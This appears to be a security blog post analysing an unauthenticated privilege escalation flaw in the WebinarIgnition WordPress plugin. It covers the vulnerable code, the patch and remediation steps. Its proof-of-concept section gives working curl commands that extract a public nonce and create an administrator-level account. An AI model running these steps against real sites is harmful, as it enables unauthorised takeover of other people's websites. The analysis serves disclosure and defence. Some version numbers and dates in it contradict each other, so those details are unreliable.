CVE-2026-42758: WebinarIgnition Privilege Escalation (CVSS 9.8)
Table of Contents
CVE-2026-42758 is a CVSS 9.8 Critical unauthenticated privilege escalation vulnerability in the WebinarIgnition WordPress plugin. An unauthenticated attacker can create a new WordPress user account with manage_options capability — the same capability held by site administrators.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | WebinarIgnition – Live, Automated & Evergreen Webinar System also for WooCommerce |
| Plugin Slug | webinar-ignition |
| CVE ID | CVE-2026-42758 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Incorrect Privilege Assignment / Unauthenticated Privilege Escalation |
| Affected Versions | <= 4.06.09 |
| Patched Version | 4.09.86 |
| Published | May 30, 2026 |
| Researcher | hhhai |
| Wordfence Advisory | Link |
Description
The WebinarIgnition plugin allows webinar hosts to invite co-presenters and support staff. When a host invites a co-presenter, that person receives a link to register their account. The plugin handles this registration through an AJAX endpoint.
The webinarignition_register_support endpoint was exposed to unauthenticated users. The authentication check used AND logic — it only rejected requests when BOTH the nonce was invalid AND the user lacked manage_options. Because a valid nonce was freely available from any webinar registration page, any visitor could bypass this check.
Once past the check, the endpoint would create a new WordPress user with the webinarignition_host role. That role was configured with manage_options: true — administrator-level access.
Technical Analysis
Unauthenticated Entry Point
The endpoint is registered for both authenticated and unauthenticated users:
// inc/class.WebinarignitionAjax.php
add_action( 'wp_ajax_nopriv_webinarignition_register_support',
array( 'WebinarignitionAjax', 'webinarignition_register_support' ) );
add_action( 'wp_ajax_webinarignition_register_support',
array( 'WebinarignitionAjax', 'webinarignition_register_support' ) );
Broken Authentication Check
The function uses a flawed AND condition for its security gate:
// inc/class.WebinarignitionAjax.php (vulnerable — versions < 4.08.253)
public static function webinarignition_register_support() {
if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['security'] ?? '' ) ),
'webinarignition_ajax_nonce' ) && ! current_user_can( 'manage_options' ) ) {
wp_send_json_error( [ 'message' => 'Invalid security token' ], 403 );
exit;
}
// ... continues to create user
}
This check passes when a valid nonce is provided — regardless of whether the requester is logged in.
Nonce Exposed on Public Pages
The webinarignition_ajax_nonce nonce is embedded directly into every webinar registration page:
// inc/class.WebinarignitionPowerupsShortcodes.php
wp_localize_script( 'webinarignition_registration_js', 'wiRegJS', array(
'ajax_nonce' => wp_create_nonce( 'webinarignition_ajax_nonce' ),
) );
$window_security = "window.wiRegJS.ajax_nonce = '"
. wp_create_nonce( 'webinarignition_ajax_nonce' ) . "'";
Any visitor to a webinar registration page can read window.wiRegJS.ajax_nonce from the page source or browser console. WordPress nonces for unauthenticated sessions are valid for up to 24 hours.
Privileged Role Created
When the attacker provides a non-empty host_presenters_url parameter, the plugin creates a new user with the webinarignition_host role:
// inc/class.WebinarignitionManager.php
if ( ! empty( $host_presenters_url ) ) {
$role = 'webinarignition_host';
}
// ... if enable_multiple_hosts === 'yes':
$user_id = wp_insert_user( array(
'user_login' => $member_email,
'user_email' => sanitize_email( $member_email ),
'user_pass' => $password,
'role' => $role, // 'webinarignition_host'
) );
The webinarignition_host role carries manage_options: true:
// inc/callback2.php (registered on plugin activation)
add_role( 'webinarignition_host', 'WebinarIgnition Host', array(
'manage_options' => true,
'edit_posts' => true,
'edit_others_posts' => true,
'edit_published_posts' => true,
'publish_posts' => true,
'edit_pages' => true,
'edit_published_pages' => true,
'publish_pages' => true,
'edit_others_pages' => true,
) );
manage_options is the WordPress capability that controls access to site settings and the admin dashboard. Plugins commonly use current_user_can('manage_options') as their own administrator check. An account with this capability can install plugins, change settings, and read all site data.
Required Condition
The vulnerable code path succeeds only when the target webinar has enable_multiple_hosts = 'yes' set in the WordPress options. Hosts commonly enable this feature to invite co-presenters. The webinar ID is visible in the page source of any webinar page.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive purposes only. Only test against systems you own or have explicit permission to test.
Prerequisites:
- WebinarIgnition plugin version < 4.08.253 installed and activated
- A webinar configured with Multiple Hosts enabled (
enable_multiple_hosts = yes) - The webinar ID is visible on any webinar page (e.g., in the
window.webinarignitionorwindow.wiRegJSJavaScript objects)
Step 1 — Extract the nonce from a webinar registration page:
# Visit any webinar registration page and extract the nonce
curl -s "https://target.example.com/webinar/my-webinar/" \
| grep -o '"ajax_nonce":"[^"]*"' \
| head -1
The nonce value is also accessible as window.wiRegJS.ajax_nonce in the browser console.
Step 2 — Find the webinar ID:
From the same page source, locate the webinar ID in the window.webinarignition object or any script data containing webinarId or app_id.
Step 3 — Register a new host account:
curl -X POST "https://target.example.com/wp-admin/admin-ajax.php" \
--data "action=webinarignition_register_support" \
--data "security=NONCE_HERE" \
--data "formData[0][name]=app_id" \
--data "formData[0][value]=WEBINAR_ID_HERE" \
--data "formData[1][name]=host_presenters_url" \
--data "formData[1][value]=1" \
--data "formData[2][name]=first_name" \
--data "formData[2][value]=attacker" \
--data "formData[3][name]=last_name" \
--data "formData[3][value]=hacked" \
--data "formData[4][name]=email" \
--data "formData[4][value]=attacker@evil.example.com"
Expected successful response:
{"success":1,"error":0,"data":{"first_name":"attacker","last_name":"hacked","email":"attacker@evil.example.com"}}
Step 4 — Log in with the new account:
The attacker’s email (attacker@evil.example.com) now has a WordPress account with the webinarignition_host role. Log in at https://target.example.com/wp-login.php to confirm admin-level access to the WordPress dashboard and all site options.
Patch Analysis
The fix in version 4.09.86 adds a secret token validation before creating the user. The host_presenters_url parameter must now exactly match a private value stored in the webinar’s configuration:
// inc/class.WebinarignitionAjax.php (patched — version 4.09.86+)
if ( !empty( $host_presenters_url ) ) {
if ( empty( $webinar_data->host_presenters_url )
|| !hash_equals(
(string) $webinar_data->host_presenters_url,
(string) $host_presenters_url ) ) {
self::error_response( array(
'message' => __( 'Error', 'webinar-ignition' ) . ': '
. __( 'Cheating, huh!!!.', 'webinar-ignition' ),
) );
}
} elseif ( empty( $webinar_data->support_stuff_url )
|| !hash_equals(
(string) $webinar_data->support_stuff_url,
(string) $support_stuff_url ) ) {
self::error_response( ... );
}
The hash_equals() comparison prevents timing attacks. Because $webinar_data->host_presenters_url is a server-side secret value, an attacker cannot guess it by submitting arbitrary strings. The fix also adds a check that prevents providing both host_presenters_url and support_stuff_url at the same time.
Timeline
| Date | Event |
|---|---|
| May 30, 2026 | Vulnerability publicly published by Wordfence |
| May 30, 2026 | Fix committed to plugin SVN (changeset 3521529) |
| ~May 11, 2026 | Version 4.09.86 (first downloadable patched release) tagged in SVN |
| June 2, 2026 | Wordfence advisory last updated |
| June 7, 2026 | This blog post published |
Remediation
Update WebinarIgnition to version 4.09.86 or later from your WordPress admin dashboard under Plugins → Updates, or download the latest version directly from wordpress.org/plugins/webinar-ignition.
If you cannot update immediately:
- Deactivate the plugin until you can update
- Review your WordPress user list for unexpected accounts with the
webinarignition_hostrole - Check for new administrator-equivalent accounts created after the plugin was installed